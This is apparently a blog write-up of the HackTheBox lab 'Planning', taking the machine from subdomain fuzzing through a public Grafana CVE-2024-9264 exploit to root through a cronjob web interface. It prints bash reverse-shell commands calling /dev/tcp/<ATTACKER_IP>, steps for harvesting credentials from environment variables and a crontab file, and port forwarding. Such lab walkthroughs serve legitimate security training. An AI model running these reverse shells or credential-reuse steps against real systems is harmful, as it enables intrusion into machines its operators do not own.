Post

HTB Planning Writeup

HTB Planning Writeup

Introduction

This is an easy Linux machine on HackTheBox. We’re given credentials at the beginning that are useful later

1
admin:0D5oT70Fq13EvB5r

htb-planning-pwn

Enumeration

Port Scan

As always we need to find accessible services with a port scan

1
rustscan -a <MACHINE_IP> -- -A -sCV
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
RustScan: Where scanning meets swagging. 😎

[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.68:22
Open 10.10.11.68:80
1
2
3
4
5
6
7
8
9
10
11
12
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMv/TbRhuPIAz+BOq4x+61TDVtlp0CfnTA2y6mk03/g2CffQmx8EL/uYKHNYNdnkO7MO3DXpUbQGq1k2H6mP6Fg=
|   256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKpJkWOBF3N5HVlTJhPDWhOeW+p9G7f2E9JnYIhKs6R0
80/tcp open  http    syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
|_http-title: Edukate - Online Education Website
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.24.0 (Ubuntu)

Let’s add the domain to our /etc/hosts file

1
<MACHINE_IP> planning.htb

Subdomain

After my initial scans I didn’t find anything of interest but let’s check the page source.

1
2
3
<!-- Formulario con método GET -->
<!-- snip -->
<!-- Mostrar los resultados debajo de la barra de búsqueda -->

Some comments are in Spanish! Using a Spanish wordlist revealed a new subdomain!

1
wfuzz -c -t 50 -u http://planning.htb -H 'Host: FUZZ.planning.htb' -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-spanish.txt --hw 12
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://planning.htb/
Total requests: 5370

=====================================================================
ID           Response   Lines    Word       Chars       Payload                       
=====================================================================

000002556:   302        2 L      2 W        29 Ch       "grafana"                     

Total time: 5.497129
Processed Requests: 5370
Filtered Requests: 5369
Requests/sec.: 976.8734

Let’s add this to our /etc/hosts file

1
<MACHINE_IP> planning.htb grafana.htb

Initial Foothold

Visiting grafana.planning.htb and using the credentials provided at the beginning, we can access the admin dashboard

1
admin:0D5oT70Fq13EvB5r

htb-planning-grafana-version

This version is vulnerable to authenticated remote code execution and there is a public exploit readily available.

Let’s download the repo and install the requirements

1
git clone https://github.com/nollium/CVE-2024-9264.git
1
pip3 install -r requirements.txt

Now we can send a reverse shell

1
nc -lvnp 4444 # listener on the attacking machine
1
python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c '/bin/bash -c "/bin/bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1"' http://grafana.planning.htb
  • notice the /bin/bash -c prepended before the revshell

htb-planning-foothold

user.txt

It looks like we’re root in a docker container but we want to access the server hosting it. Reading the environment variables we can find a username and password

1
2
3
4
root@7ce659d667d7:~# env | grep -i admin
env | grep -i admin
GF_SECURITY_ADMIN_PASSWORD=<PASSWORD-REDACTED>
GF_SECURITY_ADMIN_USER=enzo

We can reuse these credentials over ssh and grab the first flag

1
ssh enzo@planning.htb

htb-planning-user-txt

root.txt

There is a new internal service running on port 8000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
enzo@planning:~$ netstat -tulnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:35487         0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.54:53           0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
udp        0      0 127.0.0.54:53           0.0.0.0:*                           -
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -

We can forward port 8000 on the server to port 9999 on our machine with the command

1
ssh -L 9999:127.0.0.1:8000 enzo@planning.htb

Visiting the page requires credentials

htb-planning-basic-auth

A password can be found in /opt/crontabs/crontab.db

1
2
3
enzo@planning:~$ cat /opt/crontabs/crontab.db 
{"name":"Grafana backup","command":"/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P <PASSWORD-REDACTED> /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz","schedule":"@daily","stopped":false,"timestamp":"Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740774983276,"saved":false,"_id":"GTI22PpoJNtRKg0W"}
{"name":"Cleanup","command":"/root/scripts/cleanup.sh","schedule":"* * * * *","stopped":false,"timestamp":"Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740849309992,"saved":false,"_id":"gNIRXh1WIc9K7BYX"}

Using the username root and the newly discovered password we can access the Cronjobs service on the forwarded port

htb-planning-cronjobs

Through this interface we can run any command as root! Let’s add a new cronjob that triggers a root reverse shell

1
2
# reverse shell payload
/bin/bash -c '/bin/bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'

htb-planning-new-job

Setup a listener to catch the reverse shell and click Run now to execute our command immediately

1
nc -lvnp 4444 # listener on attacking machine

htb-planning-root-txt

Recap

By enumerating subdomains with a Spanish wordlist we find an outdated service vulnerable to authenticated remote code execution. Using the credentials provided to us gives a foothold into the system. Reused credentials found in the environment variables lets us ssh in as the enzo user. Forwarding an internal port gives us access to a Cronjob web interface where we can run arbitrary commands as root, giving us a root shell!

This post is licensed under CC BY 4.0 by the author.